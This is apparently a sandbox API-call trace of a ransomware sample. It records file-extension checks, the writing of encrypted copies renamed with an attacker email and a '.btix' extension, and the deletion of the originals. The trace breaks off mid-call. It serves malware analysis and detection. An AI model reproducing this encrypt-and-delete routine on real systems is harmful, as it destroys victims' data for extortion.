(lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0043.666] lstrlenW (lpString=".1cd") returned 4 [0043.666] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0043.666] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0043.666] lstrlenW (lpString=".jpg") returned 4 [0043.666] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0043.666] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0043.666] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0043.666] lstrlenW (lpString=".doc") returned 4 [0043.666] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0043.666] lstrlenW (lpString=".docx") returned 5 [0043.666] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0043.666] lstrlenW (lpString=".pdf") returned 4 [0043.667] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0043.667] lstrlenW (lpString=".xls") returned 4 [0043.667] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0043.667] lstrlenW (lpString=".xlsx") returned 5 [0043.667] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0043.667] lstrlenW (lpString=".ppt") returned 4 [0043.667] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0043.667] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0043.667] lstrlenW (lpString=".zip") returned 4 [0043.667] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0043.667] lstrlenW (lpString=".rar") returned 4 [0043.667] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0043.667] lstrlenW (lpString=".bz2") returned 4 [0043.667] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0043.667] lstrlenW (lpString=".7z") returned 3 [0043.667] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0043.667] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0043.667] lstrlenW (lpString=".dbf") returned 4 [0043.667] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0043.667] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0043.667] lstrlenW (lpString=".1cd") returned 4 [0043.667] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0043.667] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0043.667] lstrlenW (lpString=".jpg") returned 4 [0043.667] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0043.667] lstrcmpiW (lpString1=".rtf", lpString2=".btix") returned 1 [0043.667] lstrlenW (lpString="eula.rtf") returned 8 [0043.667] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0043.668] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=4040) returned 1 [0043.668] CloseHandle (hObject=0x320) returned 1 [0043.668] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 0x80 [0043.668] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.668] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0043.668] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0043.668] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0043.668] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0043.668] GetLastError () returned 0x0 [0043.668] ReadFile (in: hFile=0x320, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0xfc8, lpOverlapped=0x0) returned 1 [0043.730] WriteFile (in: hFile=0x328, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xfd0, lpOverlapped=0x0) returned 1 [0043.731] ReadFile (in: hFile=0x320, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0043.731] WriteFile (in: hFile=0x328, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xe4, lpOverlapped=0x0) returned 1 [0043.732] SetEndOfFile (hFile=0x328) returned 1 [0043.732] CloseHandle (hObject=0x328) returned 1 [0043.732] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0043.732] SetEndOfFile (hFile=0x320) returned 1 [0043.733] CloseHandle (hObject=0x320) returned 1 [0043.733] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.733] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 1 [0043.734] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0043.734] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0043.734] lstrlenW (lpString=".doc") returned 4 [0043.734] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0043.734] lstrlenW (lpString=".docx") returned 5 [0043.734] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0043.734] lstrlenW (lpString=".pdf") returned 4 [0043.734] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0043.734] lstrlenW (lpString=".xls") returned 4 [0043.734] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0043.734] lstrlenW (lpString=".xlsx") returned 5 [0043.734] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0043.734] lstrlenW (lpString=".ppt") returned 4 [0043.734] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0043.734] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0043.734] lstrlenW (lpString=".zip") returned 4 [0043.734] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0043.734] lstrlenW (lpString=".rar") returned 4 [0043.734] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0043.734] lstrlenW (lpString=".bz2") returned 4 [0043.734] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0043.734] lstrlenW (lpString=".7z") returned 3 [0043.734] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0043.734] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0043.734] lstrlenW (lpString=".dbf") returned 4 [0043.734] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0043.734] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0043.734] lstrlenW (lpString=".1cd") returned 4 [0043.734] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0043.734] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0043.734] lstrlenW (lpString=".jpg") returned 4 [0043.735] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0043.735] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0043.735] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0043.735] lstrlenW (lpString=".doc") returned 4 [0043.735] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0043.735] lstrlenW (lpString=".docx") returned 5 [0043.735] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0043.735] lstrlenW (lpString=".pdf") returned 4 [0043.735] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0043.735] lstrlenW (lpString=".xls") returned 4 [0043.735] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0043.735] lstrlenW (lpString=".xlsx") returned 5 [0043.735] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0043.735] lstrlenW (lpString=".ppt") returned 4 [0043.735] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0043.735] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0043.735] lstrlenW (lpString=".zip") returned 4 [0043.735] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0043.735] lstrlenW (lpString=".rar") returned 4 [0043.735] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0043.735] lstrlenW (lpString=".bz2") returned 4 [0043.735] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0043.735] lstrlenW (lpString=".7z") returned 3 [0043.735] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0043.735] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0043.735] lstrlenW (lpString=".dbf") returned 4 [0043.735] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0043.735] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0043.735] lstrlenW (lpString=".1cd") returned 4 [0043.735] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0043.735] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0043.735] lstrlenW (lpString=".jpg") returned 4 [0043.735] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0043.736] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0043.736] lstrlenW (lpString="LocalizedData.xml") returned 17 [0043.736] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0043.736] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=80738) returned 1 [0043.736] CloseHandle (hObject=0x320) returned 1 [0043.736] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 0x80 [0043.736] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.736] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0043.736] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0043.736] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0043.736] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0043.737] GetLastError () returned 0x0 [0043.737] ReadFile (in: hFile=0x320, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x13b62, lpOverlapped=0x0) returned 1 [0043.758] WriteFile (in: hFile=0x328, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x13b70, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x13b70, lpOverlapped=0x0) returned 1 [0043.760] ReadFile (in: hFile=0x320, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0043.760] WriteFile (in: hFile=0x328, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xf6, lpOverlapped=0x0) returned 1 [0043.760] SetEndOfFile (hFile=0x328) returned 1 [0043.760] CloseHandle (hObject=0x328) returned 1 [0043.762] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0043.762] SetEndOfFile (hFile=0x320) returned 1 [0043.763] CloseHandle (hObject=0x320) returned 1 [0043.764] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.764] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 1 [0043.764] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0043.764] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0043.764] lstrlenW (lpString=".doc") returned 4 [0043.764] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.764] lstrlenW (lpString=".docx") returned 5 [0043.764] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0043.764] lstrlenW (lpString=".pdf") returned 4 [0043.764] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.764] lstrlenW (lpString=".xls") returned 4 [0043.765] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.765] lstrlenW (lpString=".xlsx") returned 5 [0043.765] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0043.765] lstrlenW (lpString=".ppt") returned 4 [0043.765] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.765] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0043.765] lstrlenW (lpString=".zip") returned 4 [0043.765] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.765] lstrlenW (lpString=".rar") returned 4 [0043.765] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.765] lstrlenW (lpString=".bz2") returned 4 [0043.765] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.765] lstrlenW (lpString=".7z") returned 3 [0043.765] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.765] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0043.765] lstrlenW (lpString=".dbf") returned 4 [0043.765] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.765] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0043.765] lstrlenW (lpString=".1cd") returned 4 [0043.765] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.765] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0043.765] lstrlenW (lpString=".jpg") returned 4 [0043.765] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.765] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0043.765] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0043.765] lstrlenW (lpString=".doc") returned 4 [0043.765] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.765] lstrlenW (lpString=".docx") returned 5 [0043.765] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0043.765] lstrlenW (lpString=".pdf") returned 4 [0043.765] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.765] lstrlenW (lpString=".xls") returned 4 [0043.765] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.766] lstrlenW (lpString=".xlsx") returned 5 [0043.766] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0043.766] lstrlenW (lpString=".ppt") returned 4 [0043.766] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.766] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0043.766] lstrlenW (lpString=".zip") returned 4 [0043.766] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.766] lstrlenW (lpString=".rar") returned 4 [0043.766] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.766] lstrlenW (lpString=".bz2") returned 4 [0043.766] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.766] lstrlenW (lpString=".7z") returned 3 [0043.766] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.766] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0043.766] lstrlenW (lpString=".dbf") returned 4 [0043.766] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.766] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0043.766] lstrlenW (lpString=".1cd") returned 4 [0043.766] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.766] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0043.766] lstrlenW (lpString=".jpg") returned 4 [0043.766] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.766] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0043.766] lstrlenW (lpString="LocalizedData.xml") returned 17 [0043.766] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0043.766] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=81482) returned 1 [0043.767] CloseHandle (hObject=0x320) returned 1 [0043.767] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 0x80 [0043.767] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.767] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0043.767] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0043.767] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0043.767] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0043.767] GetLastError () returned 0x0 [0043.767] ReadFile (in: hFile=0x320, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x13e4a, lpOverlapped=0x0) returned 1 [0043.823] WriteFile (in: hFile=0x328, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x13e50, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x13e50, lpOverlapped=0x0) returned 1 [0043.825] ReadFile (in: hFile=0x320, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0043.825] WriteFile (in: hFile=0x328, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xf6, lpOverlapped=0x0) returned 1 [0043.825] SetEndOfFile (hFile=0x328) returned 1 [0043.825] CloseHandle (hObject=0x328) returned 1 [0043.827] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0043.827] SetEndOfFile (hFile=0x320) returned 1 [0043.828] CloseHandle (hObject=0x320) returned 1 [0043.828] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.828] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 1 [0043.829] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0043.829] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0043.829] lstrlenW (lpString=".doc") returned 4 [0043.829] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.829] lstrlenW (lpString=".docx") returned 5 [0043.829] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0043.829] lstrlenW (lpString=".pdf") returned 4 [0043.829] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.829] lstrlenW (lpString=".xls") returned 4 [0043.829] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.829] lstrlenW (lpString=".xlsx") returned 5 [0043.829] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0043.829] lstrlenW (lpString=".ppt") returned 4 [0043.829] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.829] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0043.829] lstrlenW (lpString=".zip") returned 4 [0043.829] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.829] lstrlenW (lpString=".rar") returned 4 [0043.829] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.829] lstrlenW (lpString=".bz2") returned 4 [0043.829] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.829] lstrlenW (lpString=".7z") returned 3 [0043.829] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.829] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0043.829] lstrlenW (lpString=".dbf") returned 4 [0043.829] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.829] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0043.829] lstrlenW (lpString=".1cd") returned 4 [0043.830] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.830] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0043.830] lstrlenW (lpString=".jpg") returned 4 [0043.830] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.830] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0043.830] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0043.830] lstrlenW (lpString=".doc") returned 4 [0043.830] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.830] lstrlenW (lpString=".docx") returned 5 [0043.830] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0043.830] lstrlenW (lpString=".pdf") returned 4 [0043.830] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.830] lstrlenW (lpString=".xls") returned 4 [0043.830] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.830] lstrlenW (lpString=".xlsx") returned 5 [0043.830] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0043.830] lstrlenW (lpString=".ppt") returned 4 [0043.830] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.830] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0043.830] lstrlenW (lpString=".zip") returned 4 [0043.830] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.830] lstrlenW (lpString=".rar") returned 4 [0043.830] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.830] lstrlenW (lpString=".bz2") returned 4 [0043.830] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.830] lstrlenW (lpString=".7z") returned 3 [0043.830] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.830] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0043.830] lstrlenW (lpString=".dbf") returned 4 [0043.830] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.830] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0043.830] lstrlenW (lpString=".1cd") returned 4 [0043.830] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.830] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0043.831] lstrlenW (lpString=".jpg") returned 4 [0043.831] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.831] lstrcmpiW (lpString1=".rtf", lpString2=".btix") returned 1 [0043.831] lstrlenW (lpString="eula.rtf") returned 8 [0043.831] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 